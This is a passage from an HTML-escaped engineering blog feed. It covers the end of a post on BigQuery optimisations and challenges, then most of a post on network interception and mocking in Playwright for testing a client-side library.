class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Some optimizations we did in BigQuery:&lt;/h2&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Partitioning&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Every read query of ours has a mandatory specific column filter to retrieve data, so it made sense to partition our tables on the basis of that specific column. It helped us to prevent the scanning of irrelevant rows, thereby decreasing query time and BigQuery slots usage.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Clustering&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Clustering sorts storage blocks based on the values in the clustered columns, it worked perfectly for us since there were certain columns that were majorly used for filtering data, and therefore we were able to reduce query time by approximately half whenever clustering columns were used in read queries.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Storage API&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;BigQuery provides multiple types of API to interact with clients. If your use case is just to read/write data to BigQuery (i.e you don’t want to manage BigQuery resources such as datasets, jobs, or tables), then Storage API would be a perfect fit for you since it provides the fastest RPC APIs for read/write operations.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;challenges-we-faced-while-using-bigquery&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#challenges-we-faced-while-using-bigquery&quot; aria-label=&quot;challenges we faced while using bigquery permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Challenges we faced while using BigQuery&lt;/h2&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Apache beam’s BigQueryIO library&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Apache Beam is a framework that lets you define and execute data processing pipelines, including ETL, batch, and stream processing. In simple words, you can create consumers/producers by plugging in different IOs (like BigQueryIO, PubSubIO, etc) directly. You can read more about this framework &lt;a href=&quot;https://beam.apache.org/documentation/&quot;&gt;here&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;We were using BigQueryIO (a library/plugin provided by Apache Beam itself) as our sink in our data pipeline. This means, we read data from message queues, do internal transformations and finally write data to BigQuery using Apache Beam’s BigQueryIO.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;One of the crucial parts of our BigQuery database is having multiple datasets and tables which means, we can have thousands of tables in different datasets. Now, this way of storing data created some issues while inserting data through Beam’s BigQueryIO library (we tested it on version 2.26.0).&lt;/li&gt; &lt;li&gt;First Issue, while using BigQueryIO for a large number of tables insertions, we found that it has an issue with its local caching technique for table creation. Tables are first searched in the local cache (in the consumer’s memory) and then checked whether to create a table or not. The main issue is when inserting into thousands of tables: let&apos;s suppose we have 10k tables to insert in realtime and now since we deploy a fresh dataflow pipeline after every PR merge, the local cache will be empty and it will take an enormous time just to build up that cache for 10k tables (since it will use BigQuery’s API to check if the table is already created or not) even though these 10k tables were already created in BigQuery.&lt;/li&gt; &lt;li&gt;Secondly, BigQueryIO does not create datasets dynamically i.e. if the pipeline consumes an entry for a new dataset, then BigQueryIO will not create a new dataset in our database thus leading to insertion failures.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;So we decided to write our own Custom BigQuery writer (as you can see in Figure 1) for Apache Beam. It not only resolved the issues that we had with the official BigQueryIO library but also was very performant in streaming data into BigQuery because we were using BigQuery’s Storage API for insertion.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;strong&gt;Figure 1:&lt;/strong&gt; In-depth explanation of the custom logic we used to improve upon the official BigQueryIO library&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0d2c8a0dbec49e12732ff666f4c49308/fa60d/google-bigquery-custom-writer-figure1.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 89.59537572254335%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsSAAALEgHS3X78AAAB80lEQVQ4y5WUCYsCMQyF+///mSAI3vd4g+d4jbdGvsAbuq4sbCE2bdrXl5eM4fV6GePxeFi73bbhcGi9Xs/G47H1+30bDAbWaDTcT5LE15PJxOr1uo1GI+t2ux4/n8+OE/gRKON6vXrwcrm4sWa+3W5uxDCdg4gwsCBHLJfLpW02G1utVjadTp0pBnMY4s/nc48vFgs7Ho/fATEAd7ud7fd7n7kECKkhQ6vVcl9nsCzLfgLalxFL8N8ReGW9Xnsa2+3WUzgcDrlpzTl8Zu1jMIw1DaRUKBSsWCxas9n0zfv9nmtGdak+MXx0hcDz+XSJmDGyomiBCn6mygwLCgQAutEumJh9k4gHHBAHVhj+6XTyS7z4qSdnBAKzeJC2A6Zp6s1JWrVazdOldWgLqqt9zsASvWGNUXniNDv7AVTao1QqWbVatXK57JcApD06nY5VKhXfxweE4hGDISDIAjEK5oBxczPDjHQZHOQiWXA53ucRMkAm9vOUBYQ+bMJAeuoxiiRNMXQmEwqnzy8visSmpziAHhipMM9ms/yTk348ygMCE0YOSFqwE3XA1chcZi0jrj+NPwHVe7DiIoeJiynFoxis0ZnHYv0dUP9jANIutAAGOAN2+mMQKGs6gvPqy1+AvIKP2Pr8JDQs9b1ianz24ubmzhtnHGODdOfASgAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;google bigquery custom writer figure1&quot; title=&quot;google bigquery custom writer figure1&quot; src=&quot;/static/0d2c8a0dbec49e12732ff666f4c49308/1e043/google-bigquery-custom-writer-figure1.png&quot; srcset=&quot;/static/0d2c8a0dbec49e12732ff666f4c49308/991de/google-bigquery-custom-writer-figure1.png 173w, /static/0d2c8a0dbec49e12732ff666f4c49308/e4d6b/google-bigquery-custom-writer-figure1.png 345w, /static/0d2c8a0dbec49e12732ff666f4c49308/1e043/google-bigquery-custom-writer-figure1.png 690w, /static/0d2c8a0dbec49e12732ff666f4c49308/e3189/google-bigquery-custom-writer-figure1.png 1035w, /static/0d2c8a0dbec49e12732ff666f4c49308/b1001/google-bigquery-custom-writer-figure1.png 1380w, /static/0d2c8a0dbec49e12732ff666f4c49308/fa60d/google-bigquery-custom-writer-figure1.png 1792w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Deletion/Updation of Rows&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Although we understand that it is a bad practice to perform deletion/updation operations in a data warehouse type of database, still there are some 1% scenarios where we need to delete data that was recently ingested in BigQuery. &lt;/li&gt; &lt;li&gt;For this, BigQuery says that when a row is inserted into the database through streams, they are present in a Streaming Buffer for 90 mins and you can not delete these rows for the same duration.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;We can’t really do much about it to circumvent this issue since it is a server-side thing and we as a user do not have control over it. But BigQuery provides a way to query the rows present in Streaming Buffer (the ones you can’t delete/update). Now you can perform your DML statements on certain rows after you verified that those rows are not present in the Streaming Buffer anymore.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;BigQuery Slots Usage&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;BigQuery slots are the computational capacity required to execute a SQL query. BigQuery uses the concept of slots in an interesting and efficient way to allocate resources so that your query can be executed parallelly in stages. Therefore depending on your query nature and the number of concurrent queries, slots will be consumed. So if you want to read multiple large queries parallely, then BigQuery slots might eat up the majority of your budget. &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Try to optimize your read queries in BigQuery such that your query reads relevant data only, avoid joins such as a cartesian product that can create more output than input, and avoids DML statements that update or insert single rows only.&lt;/li&gt; &lt;li&gt;Since BigQuery Slots work on the basis of data size and query complexity, therefore it is always a good idea to keep your query as short and simple as possible.&lt;/li&gt; &lt;li&gt;We would suggest you to closely monitor slots usage when you are running this database in a production environment.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;takeaways&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#takeaways&quot; aria-label=&quot;takeaways permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Takeaways&lt;/h2&gt; &lt;p&gt;It’s been 3 years since we are using BigQuery in our production environment with full write load (ingesting more than 250 million rows per day and being load tested at 10X the load mentioned with no whatsoever decrease in performance) and adequate read load so we can now say with complete confidence that BigQuery will not disappoint you if you are using it as a data warehouse database only. But if you try to use this as an OLTP database, then it might not be the right choice for you. Also, inserting data into BigQuery is cheap but do your calculations beforehand for the amount of BigQuery slots you would use to read the data.&lt;/p&gt; &lt;h2 id=&quot;helpful-resources&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#helpful-resources&quot; aria-label=&quot;helpful resources permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Helpful Resources&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigquery/docs/partitioned-tables&quot;&gt;BigQuery Table Partitioning&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigquery/docs/clustered-tables&quot;&gt;BigQuery Table Clustering&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigquery/docs/write-api#advantages&quot;&gt;BigQuery Storage Write API&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigquery/docs/reference/storage&quot;&gt;BigQuery Storage Read API&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigquery/docs/slots&quot;&gt;BigQuery Slots&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/bigquery/docs/best-practices-performance-overview&quot;&gt;BigQuery Optimizing Query Performance&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://beam.apache.org/documentation/&quot;&gt;Apache Beam Documentation&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://engineering.wingify.com/posts/dynamic-cdn/&quot;&gt;DACDN (Dynamic CDN)&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Vasu Gupta</author></item><item><title><![CDATA[Network Mocking in Playwright]]></title><description><![CDATA[The Requirement In VWO, we have our client-side library which is executed on our customer’s website and it is the stepping stone of every…]]></description><link>https://engineering.wingify.com//posts/Network-Mocking-in-Playwright/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Network-Mocking-in-Playwright/</guid><pubDate>Thu, 15 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;the-requirement&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-requirement&quot; aria-label=&quot;the requirement permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Requirement&lt;/h2&gt; &lt;p&gt;In VWO, we have our client-side library which is executed on our customer’s website and it is the stepping stone of every feature that VWO possesses. Before jumping ahead, let me explain what our client-side library does.&lt;/p&gt; &lt;h2 id=&quot;our-client-side-library&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#our-client-side-library&quot; aria-label=&quot;our client side library permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Our Client-Side Library&lt;/h2&gt; &lt;p&gt;Like the heart pumps blood in our entire body, that is what the client-side library is for VWO. In a holistic way, our library is responsible for two major things which are as follows:-&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Execute different experiments as per their specification and requirement which comprises A/B testing, Session Recordings, Heatmap, and many more.&lt;/li&gt; &lt;li&gt;Collect user insights as per the different products and their features.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;&lt;strong&gt;Note:-&lt;/strong&gt; To know more about our great products you can visit our website &lt;a href=&quot;https://vwo.com/&quot;&gt;https://vwo.com/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Now as simple as it may have sounded till now, let me tell you that it&apos;s not what it looks like. Though our Heart’s main job seems pretty simple, its intrinsic functionality is equally complex. Similarly, our client-side library does all the above-mentioned simple stuff with great precision and keeps serving our system with valuable data.&lt;/p&gt; &lt;h2 id=&quot;existing-automation-tool&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#existing-automation-tool&quot; aria-label=&quot;existing automation tool permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Existing Automation Tool&lt;/h2&gt; &lt;p&gt;As it is being said “Strong Automation Scripts build Strong Codebase”, probably by some QA guy I guess :-p, We at Wingify have built our automation scripts to keep our heart i.e. client-side library healthy. Until now we have been using Protractor which has always been there to our rescue in both health and sickness. Though it has served us well, but we have our share of challenges with it as listed below:-&lt;/p&gt; &lt;ol&gt; &lt;li&gt;No support to mock or verify network calls which is a must for our client-side library.&lt;/li&gt; &lt;li&gt;The future updates will be stopped post-2022.&lt;/li&gt; &lt;li&gt;Multi-browser support is not great.&lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;the-solution---playwright&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-solution---playwright&quot; aria-label=&quot;the solution playwright permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Solution -&gt; Playwright&lt;/h2&gt; &lt;p&gt;Since Protractor is fast approaching its end of life we have been on the lookout and after exploring various options and in the end, Playwright was the one we settled with. For more details on why our heart falls for Playwright, you can check our detailed writeup &lt;a href=&quot;https://engineering.wingify.com/posts/playwright-the-rightful-heir/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;So, one of the major reasons for going with Playwright is its built-in support for tracking and mocking network calls, which is a major requirement for our new automation tool. Following are the 3 significant things that we can do with the network calls using Playwright which were useful for us:-&lt;/p&gt; &lt;h3 id=&quot;--intercepting-the-network&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#--intercepting-the-network&quot; aria-label=&quot; intercepting the network permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;-&gt; Intercepting the Network&lt;/h3&gt; &lt;p&gt;Playwright provides us with an easy way to just subscribe to the network requests and responses using the “page.on” method. Using this you can filter out any request and assert it in whatever way you want. The sample code is as under:-&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/12/page_on.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;It tracks any type of request including XHR and Fetch and using this, we can just write our custom method to filter out the requests of our choice and assert it accordingly. The custom method to filter out requests can be like this:-&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/12/custom_method.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h3 id=&quot;--mocking-the-network&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#--mocking-the-network&quot; aria-label=&quot; mocking the network permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;-&gt; Mocking the Network&lt;/h3&gt; &lt;p&gt;One more magical method that Playwright equips is “page.route” using which we can handle, modify or abort any requests. It has some useful methods as explained below:-&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;“route.fulfill” -&gt; Using this we can mock the response which includes the status code, response body, and response headers.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/12/route_fulfill.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; In the above example, we have mocked the response of “fetch_data” api with testData, which can be any JSON of our choice, and the status code is mocked as 200. Using this we can mock the API’s data and may remove the dependency on other services for test data so that we can verify any service in silos. &lt;/li&gt; &lt;li&gt; &lt;p&gt;“route.continue” -&gt; Using this we can mock the request that includes request headers, url, parameter, etc.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/12/route_continue.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; In the above example, we have deleted the “X-Secret” header from every request. Using this feature we can remove/update any header or payload which can help us to verify error cases and how our application behaves in such scenarios. &lt;/li&gt; &lt;li&gt; &lt;p&gt;“route.abort” -&gt; Using this we can abort any request which can be helpful in creating specific negative testing scenarios where the network call get failed.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/12/route_abort.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; In the above example, all the requests ending with “png, jpg, jpeg” will be aborted. &lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;--the-forever-wait&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#--the-forever-wait&quot; aria-label=&quot; the forever wait permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;-&gt; The Forever Wait&lt;/h3&gt; &lt;p&gt;When you feel that this tool has everything you can ask for, it comes up with another great feature to surprise you and intrinsic wait for network requests and responses is one of them. Using this feature you can wait for any type of request or response after performing actions like click, scroll, mouse-hover, etc.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/12/route_wait.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; In the above example, we are waiting for the “https://example.com/resource” request after clicking the button as mentioned. If your application is slow, then this feature is nothing but a blessing in disguise and it will be handy to run the suite on a test environment as latency is generally a challenge there. &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 